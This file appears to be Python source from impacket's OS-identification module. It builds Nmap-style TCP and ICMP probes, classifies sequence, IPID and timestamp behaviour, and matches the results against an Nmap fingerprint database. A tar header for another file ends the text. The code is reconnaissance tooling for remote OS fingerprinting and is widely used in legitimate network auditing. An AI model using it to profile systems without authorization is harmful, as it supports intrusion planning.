class nmap1_tcp_open_3(nmap1_tcp_probe):
def __init__(self, id, addresses, tcp_ports ):
nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 1)
self.t.set_SYN()
self.t.set_FIN()
self.t.set_URG()
self.t.set_PSH()
def test_id(self):
return "T3"
class nmap2_tcp_open_3(nmap2_tcp_probe_2_6):
# ...
# T3 sends a TCP packet with the SYN, FIN, URG, and PSH flags set and a
# window field of 256 to an open port. The IP DF bit is not set.
# ...
def __init__(self, id, addresses, tcp_ports ):
nmap2_tcp_probe_2_6.__init__(self, id, addresses, tcp_ports, 1)
self.t.set_SYN()
self.t.set_FIN()
self.t.set_URG()
self.t.set_PSH()
self.t.set_th_win(256)
self.i.set_ip_df(0)
def test_id(self):
return "T3"
class nmap1_tcp_open_4(nmap1_tcp_probe):
def __init__(self, id, addresses, tcp_ports):
nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 1)
self.t.set_ACK()
def test_id(self):
return "T4"
class nmap2_tcp_open_4(nmap2_tcp_probe_2_6):
# ...
# T4 sends a TCP ACK packet with IP DF and a window field of 1024 to
# an open port.
# ...
def __init__(self, id, addresses, tcp_ports ):
nmap2_tcp_probe_2_6.__init__(self, id, addresses, tcp_ports, 1)
self.t.set_ACK()
self.i.set_ip_df(1)
self.t.set_th_win(1024)
def test_id(self):
return "T4"
class nmap1_seq(nmap1_tcp_probe):
SEQ_UNKNOWN = 0
SEQ_64K = 1
SEQ_TD = 2
SEQ_RI = 4
SEQ_TR = 8
SEQ_i800 = 16
SEQ_CONSTANT = 32
TS_SEQ_UNKNOWN = 0
TS_SEQ_ZERO = 1 # At least one of the timestamps we received back was 0
TS_SEQ_2HZ = 2
TS_SEQ_100HZ = 3
TS_SEQ_1000HZ = 4
TS_SEQ_UNSUPPORTED = 5 # System didn't send back a timestamp
IPID_SEQ_UNKNOWN = 0
IPID_SEQ_INCR = 1 # simple increment by one each time
IPID_SEQ_BROKEN_INCR = 2 # Stupid MS -- forgot htons() so it counts by 256 on little-endian platforms
IPID_SEQ_RPI = 3 # Goes up each time but by a "random" positive increment
IPID_SEQ_RD = 4 # Appears to select IPID using a "random" distributions (meaning it can go up or down)
IPID_SEQ_CONSTANT = 5 # Contains 1 or more sequential duplicates
IPID_SEQ_ZERO = 6 # Every packet that comes back has an IP.ID of 0 (eg Linux 2.4 does this)
def __init__(self, id, addresses, tcp_ports):
nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 1)
self.t.set_SYN()
self.t.set_th_seq(id) # Used to match results with sent packets.
def process(self, p):
raise Exception("Method process is meaningless for class %s." % self.__class__.__name__)
class nmap2_seq(nmap2_tcp_probe):
TS_SEQ_UNKNOWN = 0
TS_SEQ_ZERO = 1 # At least one of the timestamps we received back was 0
TS_SEQ_UNSUPPORTED = 5 # System didn't send back a timestamp
IPID_SEQ_UNKNOWN = 0
IPID_SEQ_INCR = 1 # simple increment by one each time
IPID_SEQ_BROKEN_INCR = 2 # Stupid MS -- forgot htons() so it counts by 256 on little-endian platforms
IPID_SEQ_RPI = 3 # Goes up each time but by a "random" positive increment
IPID_SEQ_RD = 4 # Appears to select IPID using a "random" distributions (meaning it can go up or down)
IPID_SEQ_CONSTANT = 5 # Contains 1 or more sequential duplicates
IPID_SEQ_ZERO = 6 # Every packet that comes back has an IP.ID of 0 (eg Linux 2.4 does this)
def __init__(self, id, addresses, tcp_ports, options):
nmap2_tcp_probe.__init__(self, id, addresses, tcp_ports, 1,
id, options)
self.t.set_SYN()
def process(self, p):
raise Exception("Method process is meaningless for class %s." % self.__class__.__name__)
class nmap2_seq_1(nmap2_seq):
# Packet #1: window scale (10),
# NOP,
# MSS (1460),
# timestamp (TSval: 0xFFFFFFFF; TSecr: 0),
# SACK permitted.
# The window field is 1.
tcp_options = [
TCPOption(TCPOption.TCPOPT_WINDOW, 10),
TCPOption(TCPOption.TCPOPT_NOP),
TCPOption(TCPOption.TCPOPT_MAXSEG, 1460),
TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF),
TCPOption(TCPOption.TCPOPT_SACK_PERMITTED)
]
def __init__(self, id, addresses, tcp_ports):
nmap2_seq.__init__(self, id, addresses, tcp_ports, self.tcp_options)
self.t.set_th_win(1)
class nmap2_seq_2(nmap2_seq):
# Packet #2: MSS (1400),
# window scale (0),
# SACK permitted,
# timestamp (TSval: 0xFFFFFFFF; TSecr: 0),
# EOL.
# The window field is 63.
tcp_options = [
TCPOption(TCPOption.TCPOPT_MAXSEG, 1400),
TCPOption(TCPOption.TCPOPT_WINDOW, 0),
TCPOption(TCPOption.TCPOPT_SACK_PERMITTED),
TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF),
TCPOption(TCPOption.TCPOPT_EOL)
]
def __init__(self, id, addresses, tcp_ports):
nmap2_seq.__init__(self, id, addresses, tcp_ports, self.tcp_options)
self.t.set_th_win(63)
class nmap2_seq_3(nmap2_seq):
# Packet #3: Timestamp (TSval: 0xFFFFFFFF; TSecr: 0),
# NOP,
# NOP,
# window scale (5),
# NOP,
# MSS (640).
# The window field is 4.
tcp_options = [
TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF),
TCPOption(TCPOption.TCPOPT_NOP),
TCPOption(TCPOption.TCPOPT_NOP),
TCPOption(TCPOption.TCPOPT_WINDOW, 5),
TCPOption(TCPOption.TCPOPT_NOP),
TCPOption(TCPOption.TCPOPT_MAXSEG, 640)
]
def __init__(self, id, addresses, tcp_ports):
nmap2_seq.__init__(self, id, addresses, tcp_ports, self.tcp_options)
self.t.set_th_win(4)
class nmap2_seq_4(nmap2_seq):
# Packet #4: SACK permitted,
# Timestamp (TSval: 0xFFFFFFFF; TSecr: 0),
# window scale (10),
# EOL.
# The window field is 4.
tcp_options = [
TCPOption(TCPOption.TCPOPT_SACK_PERMITTED),
TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF),
TCPOption(TCPOption.TCPOPT_WINDOW, 10),
TCPOption(TCPOption.TCPOPT_EOL)
]
def __init__(self, id, addresses, tcp_ports):
nmap2_seq.__init__(self, id, addresses, tcp_ports, self.tcp_options)
self.t.set_th_win(4)
class nmap2_seq_5(nmap2_seq):
# Packet #5: MSS (536),
# SACK permitted,
# Timestamp (TSval: 0xFFFFFFFF; TSecr: 0),
# window scale (10),
# EOL.
# The window field is 16.
tcp_options = [
TCPOption(TCPOption.TCPOPT_MAXSEG, 536),
TCPOption(TCPOption.TCPOPT_SACK_PERMITTED),
TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF),
TCPOption(TCPOption.TCPOPT_WINDOW, 10),
TCPOption(TCPOption.TCPOPT_EOL)
]
def __init__(self, id, addresses, tcp_ports):
nmap2_seq.__init__(self, id, addresses, tcp_ports, self.tcp_options)
self.t.set_th_win(16)
class nmap2_seq_6(nmap2_seq):
# Packet #6: MSS (265),
# SACK permitted,
# Timestamp (TSval: 0xFFFFFFFF; TSecr: 0).
# The window field is 512.
tcp_options = [
TCPOption(TCPOption.TCPOPT_MAXSEG, 265),
TCPOption(TCPOption.TCPOPT_SACK_PERMITTED),
TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF)
]
def __init__(self, id, addresses, tcp_ports):
nmap2_seq.__init__(self, id, addresses, tcp_ports, self.tcp_options)
self.t.set_th_win(512)
class nmap1_seq_container(os_id_test):
def __init__(self, num_seq_samples, responses, seq_diffs, ts_diffs, time_diffs):
os_id_test.__init__(self, 0)
self.num_seq_samples = num_seq_samples
self.seq_responses = responses
self.seq_num_responses = len(responses)
self.seq_diffs = seq_diffs
self.ts_diffs = ts_diffs
self.time_diffs = time_diffs
self.pre_ts_seqclass = nmap1_seq.TS_SEQ_UNKNOWN
def test_id(self):
return "TSEQ"
def set_ts_seqclass(self, ts_seqclass):
self.pre_ts_seqclass = ts_seqclass
def process(self):
ipid_seqclass = self.ipid_sequence()
if nmap1_seq.TS_SEQ_UNKNOWN != self.pre_ts_seqclass:
ts_seqclass = self.pre_ts_seqclass
else:
ts_seqclass = self.ts_sequence()
if self.seq_num_responses >= 4:
seq_seqclass = self.seq_sequence()
if nmap1_seq.SEQ_UNKNOWN != seq_seqclass: self.add_seqclass(seq_seqclass)
if nmap1_seq.IPID_SEQ_UNKNOWN != ipid_seqclass: self.add_ipidclass(ipid_seqclass)
if nmap1_seq.TS_SEQ_UNKNOWN != ts_seqclass: self.add_tsclass(ts_seqclass)
else:
PyImpact.t_log(1, "Insufficient responses for TCP sequencing (%d out of %d), OS detection may be less accurate."
% (self.seq_num_responses, self.num_seq_samples))
def get_final_result(self):
"Returns a string representation of the final result of this test or None if no response was received"
return {self.test_id(): self.get_result_dict()}
def ipid_sequence(self):
if self.seq_num_responses < 2: return nmap1_seq.IPID_SEQ_UNKNOWN
ipid_diffs = array.array('H', [0] * (self.seq_num_responses - 1))
null_ipids = 1
for i in xrange(1, self.seq_num_responses):
prev_ipid = self.seq_responses[i-1].get_ipid()
cur_ipid = self.seq_responses[i].get_ipid()
if cur_ipid < prev_ipid and (cur_ipid > 500 or prev_ipid < 65000):
return nmap1_seq.IPID_SEQ_RD
if prev_ipid != 0 or cur_ipid != 0: null_ipids = 0
ipid_diffs[i-1] = abs(cur_ipid - prev_ipid)
if null_ipids: return nmap1_seq.IPID_SEQ_ZERO
# Battle plan:
# If any diff is > 1000, set to random, if 0, set to constant.
# If any of the diffs are 1, or all are less than 9, set to incremental.
for i in xrange(0, self.seq_num_responses - 1):
if ipid_diffs[i] > 1000: return nmap1_seq.IPID_SEQ_RPI
if ipid_diffs[i] == 0: return nmap1_seq.IPID_SEQ_CONSTANT
is_incremental = 1 # All diferences are less than 9
is_ms = 1 # All diferences are multiples of 256
for i in xrange(0, self.seq_num_responses - 1):
if ipid_diffs[i] == 1: return nmap1_seq.IPID_SEQ_INCR
if is_ms and ipid_diffs[i] < 2560 and (ipid_diffs[i] % 256) != 0: is_ms = 0
if ipid_diffs[i] > 9: is_incremental = 0
if is_ms: return nmap1_seq.IPID_SEQ_BROKEN_INCR
if is_incremental: return nmap1_seq.IPID_SEQ_INCR
return nmap1_seq.IPID_SEQ_UNKNOWN
def ts_sequence(self):
if self.seq_num_responses < 2: return nmap1_seq.TS_SEQ_UNKNOWN
# Battle plan:
# 1) Compute average increments per second, and variance in incr. per second.
# 2) If any are 0, set to constant.
# 3) If variance is high, set to random incr. [ skip for now ]
# 4) if ~10/second, set to appropriate thing.
# 5) Same with ~100/s.
avg_freq = 0.0
for i in xrange(0, self.seq_num_responses - 1):
dhz = self.ts_diffs[i] / self.time_diffs[i]
avg_freq += dhz / (self.seq_num_responses - 1)
PyImpact.t_log(2, "The avg TCP TS HZ is: %f" % avg_freq)
if 0 < avg_freq and avg_freq < 3.9: return nmap1_seq.TS_SEQ_2HZ
if 85 < avg_freq and avg_freq < 115: return nmap1_seq.TS_SEQ_100HZ
if 900 < avg_freq and avg_freq < 1100: return nmap1_seq.TS_SEQ_1000HZ
return nmap1_seq.TS_SEQ_UNKNOWN
def seq_sequence(self):
self.seq_gcd = reduce(my_gcd, self.seq_diffs)
avg_incr = 0
seqclass = nmap1_seq.SEQ_UNKNOWN
if 0 != self.seq_gcd:
map(lambda x, gcd = self.seq_gcd: x / gcd, self.seq_diffs)
for i in xrange(0, self.seq_num_responses - 1):
if abs(self.seq_responses[i+1].get_seq() - self.seq_responses[i].get_seq()) > 50000000:
seqclass = nmap1_seq.SEQ_TR;
self.index = 9999999
break
avg_incr += self.seq_diffs[i]
if 0 == self.seq_gcd:
seqclass = nmap1_seq.SEQ_CONSTANT
self.index = 0
elif 0 == self.seq_gcd % 64000:
seqclass = nmap1_seq.SEQ_64K
self.index = 1
elif 0 == self.seq_gcd % 800:
seqclass = nmap1_seq.SEQ_i800
self.index = 10
elif nmap1_seq.SEQ_UNKNOWN == seqclass:
avg_incr = int(.5 + avg_incr / (self.seq_num_responses - 1))
sum_incr = 0.0
for i in range(0, self.seq_num_responses - 1):
d = abs(self.seq_diffs[i] - avg_incr)
sum_incr += float(d * d)
sum_incr /= self.seq_num_responses - 1
self.index = int(.5 + math.sqrt(sum_incr))
if self.index < 75:
seqclass = nmap1_seq.SEQ_TD
else:
seqclass = nmap1_seq.SEQ_RI
return seqclass
seqclasses = {
nmap1_seq.SEQ_64K: '64K',
nmap1_seq.SEQ_TD: 'TD',
nmap1_seq.SEQ_RI: 'RI',
nmap1_seq.SEQ_TR: 'TR',
nmap1_seq.SEQ_i800: 'i800',
nmap1_seq.SEQ_CONSTANT: 'C',
}
def add_seqclass(self, id):
self.add_result('CLASS', nmap1_seq_container.seqclasses[id])
if nmap1_seq.SEQ_CONSTANT == id:
self.add_result('VAL', '%i' % self.seq_responses[0].get_seq())
elif id in (nmap1_seq.SEQ_TD, nmap1_seq.SEQ_RI):
self.add_result('GCD', '%i' % self.seq_gcd)
self.add_result('SI', '%i' % self.index)
tsclasses = {
nmap1_seq.TS_SEQ_ZERO: '0',
nmap1_seq.TS_SEQ_2HZ: '2HZ',
nmap1_seq.TS_SEQ_100HZ: '100HZ',
nmap1_seq.TS_SEQ_1000HZ: '1000HZ',
nmap1_seq.TS_SEQ_UNSUPPORTED: 'U',
}
def add_tsclass(self, id):
self.add_result('TS', nmap1_seq_container.tsclasses[id])
ipidclasses = {
nmap1_seq.IPID_SEQ_INCR: 'I',
nmap1_seq.IPID_SEQ_BROKEN_INCR: 'BI',
nmap1_seq.IPID_SEQ_RPI: 'RPI',
nmap1_seq.IPID_SEQ_RD: 'RD',
nmap1_seq.IPID_SEQ_CONSTANT: 'C',
nmap1_seq.IPID_SEQ_ZERO: 'Z',
}
def add_ipidclass(self, id):
self.add_result('IPID', nmap1_seq_container.ipidclasses[id])
class nmap2_seq_container(os_id_test):
def __init__(self, num_seq_samples, responses, seq_diffs, ts_diffs, time_diffs):
os_id_test.__init__(self, 0)
self.num_seq_samples = num_seq_samples
self.seq_responses = responses
self.seq_num_responses = len(responses)
self.seq_diffs = seq_diffs
self.ts_diffs = ts_diffs
self.time_diffs = time_diffs
self.pre_ts_seqclass = nmap2_seq.TS_SEQ_UNKNOWN
def test_id(self):
return "SEQ"
def set_ts_seqclass(self, ts_seqclass):
self.pre_ts_seqclass = ts_seqclass
def process(self):
if self.seq_num_responses >= 4:
self.calc_ti()
self.calc_ts()
self.calc_sp()
else:
self.add_result('R', 'N')
PyImpact.t_log(1, "Insufficient responses for TCP sequencing (%d out of %d), OS detection may be less accurate."
% (self.seq_num_responses, self.num_seq_samples))
def get_final_result(self):
return {self.test_id(): self.get_result_dict()}
def calc_ti(self):
if self.seq_num_responses < 2:
return
ipidclasses = {
nmap2_seq.IPID_SEQ_INCR: 'I',
nmap2_seq.IPID_SEQ_BROKEN_INCR: 'BI',
nmap2_seq.IPID_SEQ_RPI: 'RI',
nmap2_seq.IPID_SEQ_RD: 'RD',
nmap2_seq.IPID_SEQ_CONSTANT: 'C',
nmap2_seq.IPID_SEQ_ZERO: 'Z',
}
ipid_diffs = array.array('H', [0] * (self.seq_num_responses - 1))
# Random and zero
null_ipids = 1
for i in xrange(1, self.seq_num_responses):
prev_ipid = self.seq_responses[i-1].get_ipid()
cur_ipid = self.seq_responses[i].get_ipid()
if prev_ipid != 0 or cur_ipid != 0:
null_ipids = 0
if prev_ipid <= cur_ipid:
ipid_diffs[i-1] = cur_ipid - prev_ipid
else:
ipid_diffs[i-1] = (cur_ipid - prev_ipid + 65536) & 0xffff
if self.seq_num_responses > 2 and ipid_diffs[i-1] > 20000:
self.add_result('TI', ipidclasses[nmap2_seq.IPID_SEQ_RD])
return
if null_ipids:
self.add_result('TI', ipidclasses[nmap2_seq.IPID_SEQ_ZERO])
return
# Constant
all_zero = 1
for i in xrange(0, self.seq_num_responses - 1):
if ipid_diffs[i] != 0:
all_zero = 0
break
if all_zero:
self.add_result('TI', ipidclasses[nmap2_seq.IPID_SEQ_CONSTANT])
return
# Random positive increments
for i in xrange(0, self.seq_num_responses - 1):
if ipid_diffs[i] > 1000 and \
((ipid_diffs[i] % 256 != 0) or \
((ipid_diffs[i] % 256 == 0) and (ipid_diffs[i] >= 25600))):
self.add_result('TI', ipidclasses[nmap2_seq.IPID_SEQ_RPI])
return
# Broken Increment and Incremental
is_incremental = 1 # All diferences are less than 10
is_ms = 1 # All diferences are multiples of 256 and no greater than 5120
for i in xrange(0, self.seq_num_responses - 1):
if is_ms and ((ipid_diffs[i] > 5120) or (ipid_diffs[i] % 256) != 0):
is_ms = 0
if is_incremental and ipid_diffs[i] > 9:
is_incremental = 0
if is_ms:
self.add_result('TI', ipidclasses[nmap2_seq.IPID_SEQ_BROKEN_INCR])
elif is_incremental:
self.add_result('TI', ipidclasses[nmap2_seq.IPID_SEQ_INCR])
def calc_ts(self):
# 1. If any of the responses have no timestamp option, TS
# is set to U (unsupported).
# 2. If any of the timestamp values are zero, TS is set to 0.
# 3. If the average increments per second falls within the
# ranges 0-5.66, 70-150, or 150-350, TS is set to 1, 7, or 8,
# respectively. These three ranges get special treatment
# because they correspond to the 2 Hz, 100 Hz, and 200 Hz
# frequencies used by many hosts.
# 4. In all other cases, Nmap records the binary logarithm of
# the average increments per second, rounded to the nearest
# integer. Since most hosts use 1,000 Hz frequencies, A is
# a common result.
if self.pre_ts_seqclass == nmap2_seq.TS_SEQ_ZERO:
self.add_result('TS', '0')
elif self.pre_ts_seqclass == nmap2_seq.TS_SEQ_UNSUPPORTED:
self.add_result('TS', 'U')
elif self.seq_num_responses < 2:
return
avg_freq = 0.0
for i in xrange(0, self.seq_num_responses - 1):
dhz = self.ts_diffs[i] / self.time_diffs[i]
avg_freq += dhz / (self.seq_num_responses - 1)
PyImpact.t_log(2, "The avg TCP TS HZ is: %f" % avg_freq)
if avg_freq <= 5.66:
self.add_result('TS', "1")
elif 70 < avg_freq and avg_freq <= 150:
self.add_result('TS', "7")
elif 150 < avg_freq and avg_freq <= 350:
self.add_result('TS', "8")
else:
ts = int(round(.5 + math.log(avg_freq)/math.log(2)))
self.add_result('TS', "%X" % ts)
def calc_sp(self):
seq_gcd = reduce(my_gcd, self.seq_diffs)
seq_avg_rate = 0.0
for i in xrange(0, self.seq_num_responses - 1):
seq_avg_rate += self.seq_diffs[i] / self.time_diffs[i]
seq_avg_rate /= (self.seq_num_responses - 1)
seq_rate = seq_avg_rate
si_index = 0
seq_stddev = 0
if 0 == seq_gcd:
seq_rate = 0
else:
seq_rate = int(round(.5 + (math.log(seq_rate) / math.log(2)) * 8))
div_gcd = 1
if seq_gcd > 9:
div_gcd = seq_gcd
for i in xrange(0, self.seq_num_responses - 1):
rtmp = (self.seq_diffs[i] / self.time_diffs[i]) / div_gcd - \
seq_avg_rate / div_gcd
seq_stddev += rtmp * rtmp
seq_stddev /= self.seq_num_responses - 2
seq_stddev = math.sqrt(seq_stddev)
if seq_stddev <= 1:
si_index = 0
else:
si_index = int(round(.5 + (math.log(seq_stddev) / math.log(2)) * 8.0))
self.add_result('SP', "%X" % si_index)
self.add_result('GCD', "%X" % seq_gcd)
self.add_result('ISR', "%X" % seq_rate)
class nmap2_ops_container(os_id_test):
def __init__(self, responses):
os_id_test.__init__(self, 0)
self.seq_responses = responses
self.seq_num_responses = len(responses)
def test_id(self):
return "OPS"
def process(self):
if self.seq_num_responses != 6:
self.add_result('R', 'N')
return
for i in xrange(0, self.seq_num_responses):
tests = nmap2_tcp_tests(self.seq_responses[i].get_ip(),
self.seq_responses[i].get_tcp(),
0,
0)
self.add_result("O%i" % (i+1), tests.get_options())
def get_final_result(self):
if not self.get_result_dict():
return None
else:
return {self.test_id(): self.get_result_dict()}
class nmap2_win_container(os_id_test):
def __init__(self, responses):
os_id_test.__init__(self, 0)
self.seq_responses = responses
self.seq_num_responses = len(responses)
def test_id(self):
return "WIN"
def process(self):
if self.seq_num_responses != 6:
self.add_result('R', 'N')
return
for i in xrange(0, self.seq_num_responses):
tests = nmap2_tcp_tests(self.seq_responses[i].get_ip(),
self.seq_responses[i].get_tcp(),
0,
0)
self.add_result("W%i" % (i+1), tests.get_win())
def get_final_result(self):
if not self.get_result_dict():
return None
else:
return {self.test_id(): self.get_result_dict()}
class nmap2_t1_container(os_id_test):
def __init__(self, responses, seq_base):
os_id_test.__init__(self, 0)
self.seq_responses = responses
self.seq_num_responses = len(responses)
self.seq_base = seq_base
def test_id(self):
return "T1"
def process(self):
# R, DF, T*, TG*, W-, S, A, F, O-, RD*, Q
if self.seq_num_responses < 1:
self.add_result("R","N")
return
response = self.seq_responses[0]
tests = nmap2_tcp_tests(response.get_ip(),
response.get_tcp(),
self.seq_base,
nmap2_tcp_probe.acknowledgment)
self.add_result("R", "Y")
self.add_result("DF", tests.get_df())
self.add_result("S", tests.get_seq())
self.add_result("A", tests.get_ack())
self.add_result("F", tests.get_flags())
self.add_result("Q", tests.get_quirks())
def get_final_result(self):
if not self.get_result_dict():
return None
else:
return {self.test_id(): self.get_result_dict()}
class nmap2_icmp_container(os_id_test):
def __init__(self, responses):
os_id_test.__init__(self, 0)
self.icmp_responses = responses
self.icmp_num_responses = len(responses)
def test_id(self):
return "IE"
def process(self):
# R, DFI, T*, TG*, TOSI, CD, SI, DLI*
if self.icmp_num_responses != 2:
self.add_result("R","N")
return
ip1 = self.icmp_responses[0].child()
ip2 = self.icmp_responses[1].child()
icmp1 = ip1.child()
icmp2 = ip2.child()
self.add_result("R", "Y")
# Value Description
# N Neither of the ping responses have the DF bit set.
# S Both responses echo the DF value of the probe.
# Y Both of the response DF bits are set.
# O The one remaining other combination-both responses have the DF bit toggled.
if not ip1.get_ip_df() and not ip2.get_ip_df():
self.add_result("DFI","N")
elif ip1.get_ip_df() and not ip2.get_ip_df():
self.add_result("DFI","S")
elif ip1.get_ip_df() and ip2.get_ip_df():
self.add_result("DFI","Y")
else:
self.add_result("DFI","O")
# Value Description
# Z Both TOS values are zero.
# S Both TOS values are each the same as in the corresponding probe.
# When they both use the same non-zero number, it is recorded here.
# O Any other combination.
if ip1.get_ip_tos() == 0 and ip2.get_ip_tos() == 0:
self.add_result("TOSI","Z")
elif ip1.get_ip_tos() == 0 and ip2.get_ip_tos() == 4:
self.add_result("TOSI","S")
elif ip1.get_ip_tos() == ip2.get_ip_tos():
self.add_result("TOSI","%X" % ip1.get_ip_tos())
else:
self.add_result("TOSI","O")
# Value Description
# Z Both code values are zero.
# S Both code values are the same as in the corresponding probe.
# When they both use the same non-zero number, it is shown here.
# O Any other combination.
if icmp1.get_icmp_code() == 0 and icmp2.get_icmp_code() == 0:
self.add_result("CD","Z")
elif icmp1.get_icmp_code() == 9 and icmp2.get_icmp_code() == 0:
self.add_result("CD","S")
elif icmp1.get_icmp_code() == icmp2.get_icmp_code():
self.add_result("CD","%X" % icmp1.get_icmp_code())
else:
self.add_result("CD","O")
# Value Description
# Z Both sequence numbers are set to 0.
# S Both sequence numbers echo the ones from the probes.
# When they both use the same non-zero number, it is recorded here.
# O Any other combination.
if icmp1.get_icmp_seq() == 0 and icmp2.get_icmp_seq() == 0:
self.add_result("SI","Z")
elif (icmp1.get_icmp_seq() == nmap2_icmp_echo_probe_1.sequence_number and
icmp2.get_icmp_seq() == nmap2_icmp_echo_probe_1.sequence_number + 1):
self.add_result("SI","S")
elif icmp1.get_icmp_seq() == icmp2.get_icmp_seq():
self.add_result("SI","%X" % icmp1.get_icmp_code())
else:
self.add_result("SI","O")
def get_final_result(self):
if not self.get_result_dict():
return None
else:
return {self.test_id(): self.get_result_dict()}
class nmap1_tcp_closed_1(nmap1_tcp_probe):
def __init__(self, id, addresses, tcp_ports):
nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 0)
self.t.set_SYN()
def test_id(self):
return "T5"
def is_mine(self, packet):
if tcp_probe.is_mine(self, packet):
ip = packet.child()
if not ip:
return 0
tcp = ip.child()
if not tcp:
return 0
if tcp.get_RST():
return 1
else:
return 0
else:
return 0
class nmap2_tcp_closed_1(nmap2_tcp_probe_2_6):
# ...
# T5 sends a TCP SYN packet without IP DF and a window field of
# 31337 to a closed port
# ...
def __init__(self, id, addresses, tcp_ports):
nmap2_tcp_probe_2_6.__init__(self, id, addresses, tcp_ports, 0)
self.t.set_SYN()
self.i.set_ip_df(0)
self.t.set_th_win(31337)
def test_id(self):
return "T5"
class nmap1_tcp_closed_2(nmap1_tcp_probe):
def __init__(self, id, addresses, tcp_ports):
nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 0)
self.t.set_ACK()
def test_id(self):
return "T6"
class nmap2_tcp_closed_2(nmap2_tcp_probe_2_6):
# ...
# T6 sends a TCP ACK packet with IP DF and a window field of
# 32768 to a closed port.
# ...
def __init__(self, id, addresses, tcp_ports):
nmap2_tcp_probe_2_6.__init__(self, id, addresses, tcp_ports, 0)
self.t.set_ACK()
self.i.set_ip_df(1)
self.t.set_th_win(32768)
def test_id(self):
return "T6"
class nmap1_tcp_closed_3(nmap1_tcp_probe):
def __init__(self, id, addresses, tcp_ports):
nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 0)
self.t.set_FIN()
self.t.set_URG()
self.t.set_PSH()
def test_id(self):
return "T7"
class nmap2_tcp_closed_3(nmap2_tcp_probe_7):
# ...
# T7 sends a TCP packet with the FIN, PSH, and URG flags set and a
# window field of 65535 to a closed port. The IP DF bit is not set.
# ...
def __init__(self, id, addresses, tcp_ports):
nmap2_tcp_probe_7.__init__(self, id, addresses, tcp_ports, 0)
self.t.set_FIN()
self.t.set_URG()
self.t.set_PSH()
self.t.set_th_win(65535)
self.i.set_ip_df(0)
def test_id(self):
return "T7"
class NMAP2_OS_Class:
def __init__(self, vendor, name, family, device_type):
self.__vendor = vendor
self.__name = name
self.__family = family
self.__device_type = device_type
def get_vendor(self): return self.__vendor
def get_name(self): return self.__name
def get_family(self): return self.__family
def get_device_type(self): return self.__device_type
class NMAP2_Fingerprint:
def __init__(self, id, os_class, tests):
self.__id = id
self.__os_class = os_class
self.__tests = tests
def get_id(self): return self.__id
def get_os_class(self): return self.__os_class
def get_tests(self): return self.__tests
def __str__(self):
ret = "FP: [%s]" % self.__id
ret += "\n vendor: %s" % self.__os_class.get_vendor()
ret += "\n name: %s" % self.__os_class.get_name()
ret += "\n family: %s" % self.__os_class.get_family()
ret += "\n device_type: %s" % self.__os_class.get_device_type()
for test in self.__tests:
ret += "\n test: %s" % test
for pair in self.__tests[test]:
ret += "\n %s = [%s]" % (pair, self.__tests[test][pair])
return ret
literal_conv = { "RIPL" : { "G" : 0x148 },
"RID" : { "G" : 0x1042 },
"RUL" : { "G" : 0x134 } }
def parse_int(self, field, value):
try:
return int(value, 16)
except ValueError, err:
if NMAP2_Fingerprint.literal_conv.has_key( field ):
if NMAP2_Fingerprint.literal_conv[field].has_key(value):
return NMAP2_Fingerprint.literal_conv[field][value]
return 0
def match(self, field, ref, value):
options = ref.split("|")
for option in options:
if option.startswith(">"):
if self.parse_int(field, value) > \
self.parse_int(field, option[1:]):
return True
elif option.startswith("<"):
if self.parse_int(field, value) < \
self.parse_int(field, option[1:]):
return True
elif option.find("-") > -1:
range = option.split("-")
if (self.parse_int(field, value) >= \
self.parse_int(field, range[0]) and \
self.parse_int(field, value) <= \
self.parse_int(field, range[1])):
return True
else:
if str(value) == str(option):
return True
return False
def compare(self, sample, mp):
max_points = 0
total_points = 0
for test in self.__tests:
# ignore unknown response lines:
if not sample.has_key(test):
continue
for field in self.__tests[test]:
# ignore unsupported fields:
if not sample[test].has_key(field) or \
not mp.has_key(test) or \
not mp[test].has_key(field):
continue
ref = self.__tests[test][field]
value = sample[test][field]
points = int(mp[test][field])
max_points += points
if self.match(field, ref, value):
total_points += points
return (total_points / float(max_points)) * 100
class NMAP2_Fingerprint_Matcher:
def __init__(self, filename):
self.__filename = filename
def find_matches(self, res, threshold):
output = []
try:
infile = open(self.__filename,"r")
mp = self.parse_mp(self.matchpoints(infile))
for fingerprint in self.fingerprints(infile):
fp = self.parse_fp(fingerprint)
similarity = fp.compare(res, mp)
if similarity >= threshold:
print "\"%s\" matches with an accuracy of %.2f%%" \
% (fp.get_id(), similarity)
output.append((similarity / 100,
fp.get_id(),
(fp.get_os_class().get_vendor(),
fp.get_os_class().get_name(),
fp.get_os_class().get_family(),
fp.get_os_class().get_device_type())))
infile.close()
except IOError, err:
print "IOError: %s", err
return output
def sections(self, infile, token):
OUT = 0
IN = 1
state = OUT
output = []
for line in infile:
line = line.strip()
if state == OUT:
if line.startswith(token):
state = IN
output = [line]
elif state == IN:
if line:
output.append(line)
else:
state = OUT
yield output
output = []
if output:
yield output
def fingerprints(self, infile):
for section in self.sections(infile,"Fingerprint"):
yield section
def matchpoints(self, infile):
return self.sections(infile,"MatchPoints").next()
def parse_line(self, line):
name = line[:line.find("(")]
pairs = line[line.find("(") + 1 : line.find(")")]
test = {}
for pair in pairs.split("%"):
pair = pair.split("=")
test[pair[0]] = pair[1]
return (name, test)
def parse_fp(self, fp):
tests = {}
for line in fp:
if line.startswith("#"):
continue
elif line.startswith("Fingerprint"):
fingerprint = line[len("Fingerprint") + 1:]
elif line.startswith("Class"):
(vendor,
name,
family,
device_type) = line[len("Class") + 1:].split("|")
os_class = NMAP2_OS_Class(vendor.strip(),
name.strip(),
family.strip(),
device_type.strip())
else:
test = self.parse_line(line)
tests[test[0]] = test[1]
return NMAP2_Fingerprint(fingerprint, os_class, tests)
def parse_mp(self, fp):
tests = {}
for line in fp:
if line.startswith("#"):
continue
elif line.startswith("MatchPoints"):
continue
else:
test = self.parse_line(line)
tests[test[0]] = test[1]
return tests
impacket-0.9.15/examples/ping.py 0000700 0000765 0000000 00000004702 12734531507 016602 0 ustar beto wheel 0000000 0000000 #!/usr/bin/python
